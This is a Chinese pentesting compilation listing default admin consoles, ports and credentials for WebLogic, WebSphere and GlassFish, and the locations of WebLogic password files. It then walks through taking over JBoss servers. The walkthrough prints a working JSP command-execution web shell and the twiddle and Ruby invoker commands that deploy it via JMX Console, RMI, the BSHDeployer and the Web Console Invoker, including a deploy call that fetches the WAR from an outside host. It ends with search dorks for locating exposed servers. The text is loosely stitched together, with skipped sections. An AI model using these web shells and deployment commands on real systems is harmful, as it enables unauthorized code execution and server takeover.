Weblogic默认端口是7001,Weblogic10g-12c默认的管理后台是:http://localhost:7001/console Weblogic10 以下默认后台地址是: http://192.168.80.1:7001/console/login/LoginForm.jsp ,管理帐号是在建立Weblogic域的时候设置的。
Weblogic控制台:
Weblogic10以下默认管理帐号:weblogic密码:weblogic。关于Weblogic10++的故事还得从建域开始,默认安装完Weblogic后需要建立一个域。
WebLogic中的"域"?
域环境下可以多个 WebLogic Server或者WebLogic Server 群集。域是由单个管理服务器管理的 WebLogic Server实例的集合。 Weblogic10++域默认是安装完成后由用户创建。帐号密码也在创建域的时候设置,所以这里并不存在默认密码。当一个域创建完成后配置文件和Web应用在:Weblogic12user_projectsdomains”域名”。
1、Weblogic默认密码文件:
Weblogic 9采用的3DES(三重数据加密算法)加密方式,Weblogic 9默认的管理密码配置文件位于:
weblogic_9weblogic92samplesdomainswl_serverserversexamplesServersecurityoot.properties
boot.properties:
# Generated by Configuration Wizard on Sun Sep 08 15:43:13 GMT 2013
username={3DES}fy709SQ4pCHAFk+lIxiWfw==
password={3DES}fy709SQ4pCHAFk+lIxiWfw==
Weblogic 12c采用了AES对称加密方式,但是AES的key并不在这文件里面。默认的管理密码文件存放于:
Weblogic12user_projectsdomainsase_domainserversAdminServersecurity boot.properties (base_domain是默认的”域名”)。
boot.properties:
# Generated by Configuration Wizard on Tue Jul 23 00:07:09 CST 2013
username={AES}PsGXATVgbLsBrCA8hbaKjjA91yNDCK78Z84fGA/pTJE=
password={AES}Z44CPAl39VlytFk1I5HUCEFyFZ1LlmwqAePuJCwrwjI=
怎样解密Weblogic密码?
Weblogic 12c:
Weblogic12user_projectsdomainsase_domainsecuritySerializedSystemIni.dat
Weblogic 9:
weblogic_9weblogic92samplesdomainswl_serversecuritySerializedSystemIni.dat
解密详情:
http://drops.wooyun.org/tips/349 、 http://www.blogjava.net/midea0978/archive/2006/09/07/68223.html
2、Weblogic数据源(JNDI)
Weblogic如果有配置数据源,那么默认数据源配置文件应该在:
Weblogic12user_projectsdomainsase_domainconfigconfig.xml
4.3 Weblogic获取Webshell
Weblogic 9 GetShell:
http://drops.wooyun.org/tips/402
6、Websphere
Websphere8.5登录页面:
https://localhost:9043/ibm/console/logon.jsp
Websphere6-7默认控制台地址也是:
http://localhost:9043/ibm/console,此处用admin登录即可。
6.3 Websphere GetShell
本地只安装了8.5测试,Websphere安装的确非常坑非常麻烦。不过Google HACK到了其余两个版本Websphere6和Websphere7。测试发现Websphere GetShell一样很简单,只是比较麻烦,一般情况直接默认配置Next就行了。Websphere7和Websphere8 GetShell基本一模一样。
Websphere6 GetShell:
需要注意的是Websphere6默认支持的Web应用是2.3(web.xml配置的web-app_2_3.dtd)直接上2.5是不行的,请勿霸王硬上弓。其次是在完成部署后记得保存啊亲,不然无法生效。
Websphere8.5 GetShell:
部署的时候记得写上下文名称哦,不让无法请求到Shell。
7、GlassFish
7.2 GlassFish 默认配置
默认Web控制后台:
http://localhost:4848
默认管理密码:
GlassFish2默认帐号admin密码adminadmin 。
GlassFish3、4 如果管理员不设置帐号本地会自动登录,但是远程访问会提示配置错误。
Configuration Error
Secure Admin must be enabled to access the DAS remotely.
默认端口:
使用Admin的端口 4848。
使用HTTP Instance的端口 8080。
使用JMS的端口 7676。
使用IIOP的端口 3700。
使用HTTP_SSL的端口 8181。
使用IIOP_SSL的端口 3820。
使用IIOP_MUTUALAUTH的端口 3920。
使用JMX_ADMIN的端口 8686。
使用OSGI_SHELL的默认端口 6666。
使用JAVA_DEBUGGER的默认端口 9009。
7.3 GlassFish GetShell
Jboss: http://drops.wooyun.org/papers/178
JBoss应用服务器(JBoss AS)是一个被广泛使用的开源Java应用服务器。
它是JBoss企业中间件(JEMS)的一部分,并且经常在大型企业中使用。
因为这个软件是高度模块化和松耦合的,导致了它很很复杂,同时也使它易成为攻击者的目标。
本文从攻击者的角度来看,指出JBoss应用服务器存在的潜在风险,并结合例子如何实现如何在JBoss应用服务器上执行任意代码。
0x01 JBoss概述 JBoss应用服务器基于Java企业版1.4,并可以在应用在非常多操作系统中,包括Linux,FreeBSD和Windows中,只要操作系统中安装了Java虚拟机。
JBoss应用服务架构
Java管理扩展(JMX) Java管理扩展(JMX)是一个监控管理Java应用程序的标准化架构,JMX分为三层:
JMX架构
设备层(Instrumentation Level):主要定义了信息模型。在JMX中,各种管理对象以管理构件的形式存在,需要管理时,向MBean服务器进行注册。该层还定义了通知机制以及一些辅助元数据类。
代理层(Agent Level):主要定义了各种服务以及通信模型。该层的核心是一个MBean服务器,所有的管理构件都需要向它注册,才能被管理。注册在MBean服务器上管理构件并不直接和远程应用程序进行通信,它们通过协议适配器和连接器进行通信。而协议适配器和连接器也以管理构件的形式向MBean服务器注册才能提供相应的服务。
分布服务层(Distributed Service Level):主要定义了能对代理层进行操作的管理接口和构件,这样管理者就可以操作代理。然而,当前的JMX规范并没有给出这一层的具体规范。
JMX Invoker Invokers允许客户端应用程序发送任意协议的JMX请求到服务端。
这些调用都用过MBean服务器发送到响应的MBean服务。
传输机制都是透明的,并且可以使用任意的协议如:HTTP,SOAP2或JRMP3。
Deployer架构 攻击者对JBoss应用服务器中的Deployers模块特别感兴趣。
他们被用来部署不同的组成部分。
本文当中重点要将的安装组件:
JAR(Java ARchives):JAR 文件格式以流行的 ZIP 文件格式为基础。与 ZIP 文件不同的是,JAR 文件不仅用于压缩和发布,而且还用于部署和封装库、组件和插件程序,并可被像编译器和 JVM 这样的工具直接使用。在 JAR 中包含特殊的文件,如 manifests 和部署描述符,用来指示工具如何处理特定的 JAR。
WAR(Web ARchives):WAR文件是JAR文件包含一个Web应用程序的组件,与Java ServerPages(JSP),Java类,静态web页面等类似。
BSH(BeanSHell scripts):BeanShell是Java脚本语言,BeanShell脚本使用Java语法,运行在JRE上。
最重要的JBoss应用服务器deployer是MainDeployer。它是部署组件的主要入口点。
传递给MainDeployer的部署组件的路径是一个URL形式:
org.jboss.deployment.MainDeployer.deploy(String urlspec)
MainDeployer会下载对象,并决定使用什么样的SubDeployer转发。
根据组件的类型,SubDeployer(例如:JarDeployer,SarDeployer等)接受对象进行安装。
为了方便部署,可以使用UrlDeploymentScanner,它同样获取一个URL作为参数:
org.jboss.deployment.scanner.URLDeploymentScanner.addURL(String urlspec)
传入的URL会被定期的检查是否有新的安装或更改。
这就是JBoss应用服务器如何实现热部署的,有新的或者更改的组件会被自动的部署。
0x02 攻击
WAR文件 最简单的在JBoss应用服务器上运行自己的代码是部署一个组件,JBoss可以通过HTTP安装组件。
WAR文件包需要在WEB-INF目录下含一个web.xml文件,在实际的应用程序代码目录之外。
这是一个描述文件,描述了在什么URL将在之后的应用程序中发现。
WAR文件可以用Java的SDK jar命令创建:
$ jar cvf redteam.war WEB-INF redteam.jsp
redteam.war的结构目录:
|-- META-INF| -- MANIFEST.MF|-- WEB-INF| -- web.xml -- redteam.jsp
META-INF/MANIFEST.MF是用jar创建文件时自动创建的,包含JAR的信息,例如:应用程序的主入口点(需要调用的类)或者需要什么额外的类。这里生成的文件中没有什么特别的信息,仅包含一些基本信息:
Manifest-Version: 1.0 Created-By: 1.6.0_10 (Sun Microsystems Inc.)
WEB-INF/web.xml文件必须手动创建,它包含有关Web应用程序的信息,例如JSP文件,或者更详细的应用描述信息,如果发生错误,使用什么图标显示或者错误页面的名称等
<?xml version="1.0" ?><web-app xmlns="http://java.sun.com/xml/ns/j2ee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd " version="2.4"> <servlet> <servlet-name>RedTeam Shell</servlet-name> <jsp-file>/redteam.jsp</jsp-file> </servlet></web-app>
redteam的内容:
<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) { String cmd = request.getParameter("cmd"); Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();} }%>
HTTP请求:
/redteam.jsp?cmd=ls
将会列出当前目录所有文件,命令执行后的结果会通过如下代码返回来:
while ( disr != null ) { out.println(disr); disr = dis.readLine();}
JMX Console JMX控制台允许通过web浏览器与JBoss应用服务器直接互动的组件。
它可以方便的管理JBoss服务器,MBean的属性与方法可以直接调用,只要参数中没有复杂的参数类型。
JMX控制台默认界面
这个通常是攻击者第一个目标。
Server- 和ServerInfo-MBean
MBeans的属性
jboss.system:type=Serverjboss.system:type=ServerInfo
展现了JBoss应用服务器与主机系统的信息,包含Java虚拟机以及操作系统的类型版本信息。
MBean的属性
JMX控制台对MBeans可读可操作,不仅包含JBoss应用服务器本身的信息,同时包含主机信息,这些有助于进一步攻击。
MBean的shutdown()方法可以关闭JBoss应用服务器,未授权的JMX接口可以导致拒绝服务攻击。
redteam.war安装 MainDeployer的方法属性可以在JMX控制台中的jboss.system中调用。
deploy()方法可以由一个URL中一个参数调用,URL指向WAR文件,需要是服务器能够访问到的地址。
当invoke按钮被点击时,JBoss应用服务器会下载WAR文件并安装它,之后,就可以执行shell命令了
deploy()方法
JBoss应用程序执行ls -l命令
RMI: 远程方法调用 通常JMX控制台保护方法是加一个密码保护。
然而这不是访问JBoss应用服务器组件的唯一方式,JBoss应用服务器经常与客户端程序接口相互调用,Java远程方法调用(RMI)也发挥重要作用。
使用RMI,本地应用程序可以访问远程对象,并可以调用它们的方法。客户端与服务器之间的通信是透明的。
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。
JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
通过RMI访问MBean RMI接口默认凯奇在端口4444上,JNDI接口默认开启在1098和1099上。
与JBoss应用服务器RMI通信,可以使用专门的Java程序。更简单的方式是使用twiddle,包括JBoss应用服务器的安装。
$ sh jboss-4.2.3.GA/bin/twiddle.sh -hA JMX client to ’twiddle’ with a remote JBoss server.usage: twiddle.sh [options] <command> [command_arguments]options: -h, --help Show this help message --help-commands Show a list of commands -H=<command> Show command specific help-c=command.properties Specify the command.properties file to use-D<name>[=<value>] Set a system property-- Stop procession options-s, --server=<url> The JNDI URL of the remote server-a, --adapter=<name> The JNDI name of the RMI adapter to user-u, --user=<name> Specify the username for authentication-p, --password=<name> Specify the password for authentication-q, --quiet Be somewhat more quiet
有了twiddle,就用可用命令行通过RMI调用JBoss应用服务器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh来启动twiddle。类似于JMX控制台,MBEAN的属性可读可改,并且可以调用其方法。
显示MBean服务器的信息
$ ./twiddle.sh -s scribus get jboss.system:type=ServerInfoActiveThreadCount=50AvailableProcessors=1OSArch=amd64MaxMemory=518979584HostAddress=127.0.1.1JavaVersion=1.6.0_06OSVersion=2.6.24-19-serverJavaVendor=Sun Microsystems Inc.TotalMemory=129957888ActiveThreadGroupCount=7OSName=LinuxFreeMemory=72958384HostName=scribusJavaVMVersion=10.0-b22JavaVMVendor=Sun Microsystems Inc.JavaVMName=Java HotSpot(TM) 64-Bit Server VM
安装redteam.war 根据twiddle的帮助利用deploy()方法安装war文件。
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war
通过下面的URL访问shell:
http://scribus:8080/redteam/redteam-shell.jsp
BSHDeployer 利用RMI攻击需要JBoss应用服务器能够访问远程HTTP服务器。
然而在很多配置中,防火墙不允许JBoss服务器对外发出连接请求:
为了能够在JBoss服务器上安装redteam.war,这个文件需要放在本地。
虽然JBoss不允许直接直接上传文件,但是有BeanShellDeployer,我们可以在远程服务器上创建任意文件。
BeanShell BeanShell是一种运行在JRE上的脚本语言,该语言支持常规的Java语法。可以很快写完,并且不需要编译。
BSHDeployer JBoss服务器中BSHDeployer可以部署BeanShell脚本,它会安装后自动执行。
利用BSHDeployer安装的方法是:
createScriptDeployment(String bshScript, String scriptName)
BeanShell脚本 可以用下面的BeanShell脚本实现把redteam.war放到JBoss服务器上。
import java.io.FileOutputStream;import sun.misc.BASE64Decoder;// Base64 encoded redteam.warString val = "UEsDBBQACA[...]AAAAA";BASE64Decoder decoder = new BASE64Decoder();byte[] byteval = decoder.decodeBuffer(val);FileOutputStream fs = new FileOutputStream("/tmp/redteam.war");fs.write(byteval);fs.close();
变量val中是redteam.war文件的base64编码后的字符串,脚本在tmp目录下生成redteam.war文件,Windows中可以填写C:WINDOWSTEMP。
安装redteam.war文件 利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:
$ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat redteam.bsh‘" redteam.bsh
tedteam.bsh包含上面的BeanShell脚本,调用成功后JBoss服务器返回BeanShell创建的临时文件地址:
file:/tmp/redteam.bsh55918.bsh
当BeanShell脚本执行部署后,会创建/tmp/redteam.war文件,现在就可以通过调用本地文件来部署了:
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war
之后就可以访问redteam-shell.jsp来执行命令了。
Web Console Invoker 通过JMX控制台与RMI来控制JBoss服务器是最常用的方法。
除了这些还有更隐蔽的接口,其中之一就是Web控制台中使用JMXInvoker。
Web控制台 Web控制台与JMX控制台类似,也可以通过浏览器访问。
Web控制台的默认界面:
如果JMX控制台有密码保护的话,是不可以通过Web控制台访问MBean的函数的,需要登陆后才能访问。
Web控制台JMX Invoker Web控制台除了可以看到组建的梳妆接口与JBoss服务器信息外,还可监视MBean属性的实时变化。
访问URL:
http://$hostname/web-console/Invoker
这个Invoker其实就是JMX Invoker,而不局限于Web控制台提供的功能。
默认情况下,访问是不受限制的,所以攻击者可以用它来发送任意的JMX命令到JBoss服务器。
安装redteam.war 用Web控制台的Invoker安装redteam.war文件。
webconsole_invoker.rb可以直接调用Web控制的JMX Invoker,使用的Java类是:org.jboss.console.remote.Util
Util.class文件属于JBoss服务器的JAR文件:console-mgr-classes.jar,它提供的方法:
public static Object invoke( java.net.URL externalURL, RemoteMBeanInvocation mi)public static Object getAttribute( java.net.URL externalURL, RemoteMBeanAttributeInvocation mi)
通过Web控制台Invoker可以读取MBean的属性与invoke方法。
这个类可以通过webconsole_invoker.rb脚本使用,使用方法如下:
$ ./webconsole_invoker.rb -hUsage: ./webconsole_invoker.rb [options] MBean-u, --url URL The Invoker URL to use (default:http://localhost:8080/web-console/Invoker)-a, --get-attr ATTR Read an attribute of an MBean-i, --invoke METHOD invoke an MBean method-p, --invoke-params PARAMS MBean method params-s, --invoke-sigs SIGS MBean method signature-t, --test Test the script with the ServerInfo MBean-h, --help Show this helpExample usage:./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo
通过如下命令利用BSHDeployer来安装redteam.war文件。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s "java.lang.String","java.lang.String" -p "`cat redteam.bsh`",redteam.bsh jboss.deployer:service=BSHDeployer
在远程服务器上创建一个本地的redteam.war文件,现在第二部就可以利用MainDeployer安装/tmp/redteam.war文件了。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s "java.lang.String" -p "file:/tmp/redteam.war" jboss.system:service=MainDeployer
redteam-shell.jsp又可以访问了。
JMXInvokerServlet 之前提到过JBoss服务器允许任何协议访问MBean服务器,对于HTTP,JBoss提供HttpAdaptor。
默认安装中,HttpAdaptor是没有启用的,但是HttpAdaptor的JMX Invoker可以通过URL直接访问。
http://$hostname/invoker/JMXInvokerServlet
这个接口接受HTTP POST请求后,转发到MBean,因此与Web控制台Invoker类似,JMXInvokerServlet也可以发送任意的JMX调用到JBoss服务器。
创建MarshalledInvocation对象 JMXInvokerServlet的调用与Web控制台Invoker不兼容,所以不能使用webconsole_invoker.rb脚本调用。
MarshalledInvocation对象通常只在内部JBoss服务器上做交流。
httpinvoker.rb脚本与webconsole_invoker.rb脚本类似,但是需要JBoss服务器激活HttpAdaptor
$ ./httpinvoker.rb -hUsage: ./httpinvoker.rb [options] MBean-j, --jndi URL The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory)-p, --adaptor URL The Adaptor URL to use (default:jmx/invoker/HttpAdaptor)-a, --get-attr ATTR Read an attribute of an MBean-i, --invoke METHOD invoke an MBe an method --invoke-params PARAMS MBean method params-s, --invoke-sigs SIGS MBean method signature-t, --test Test the script with the ServerInfo MBean-h, --help Show this help
安装tedteam.war 与webconsole_invoker.rb安装类似。
寻找JBoss服务器的方法:
inurl:"jmx-console/HtmlAdaptor"intitle:"Welcome to JBoss"